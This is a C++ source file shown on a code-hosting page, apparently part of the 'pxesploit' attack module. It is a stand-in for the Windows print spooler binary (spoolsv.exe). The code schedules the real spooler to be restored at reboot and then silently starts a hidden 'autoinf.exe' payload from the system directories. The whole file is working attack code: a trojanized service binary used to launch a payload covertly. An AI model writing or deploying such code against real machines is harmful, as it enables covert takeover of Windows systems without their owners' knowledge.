Path: blob/master/external/source/pxesploit/spoolsv/spoolsv.cpp
28052 views
#include <Windows.h>1void start(){2//Set up move back just in case3MoveFileExA("C:\\Windows\\System32\\spoolsv.bak.exe","C:\\Windows\\System32\\spoolsv.exe",4MOVEFILE_REPLACE_EXISTING|MOVEFILE_DELAY_UNTIL_REBOOT);56//start replacement proc7char windowsPath[MAX_PATH];8GetWindowsDirectoryA(windowsPath,MAX_PATH);9SetCurrentDirectoryA(windowsPath);10STARTUPINFOA strt;11PROCESS_INFORMATION proci;12for(int i = 0; i < sizeof(strt); i++)13((char*)&strt)[i]=0;14for(int i = 0; i < sizeof(proci); i++)15((char*)&proci)[i]=0;16//one of these will work17if(CreateProcessA("System32\\autoinf.exe",NULL,NULL,NULL,FALSE,CREATE_NO_WINDOW,NULL,NULL,&strt,&proci) == 0)18CreateProcessA("SysWOW64\\autoinf.exe",NULL,NULL,NULL,FALSE,CREATE_NO_WINDOW,NULL,NULL,&strt,&proci);19}20212223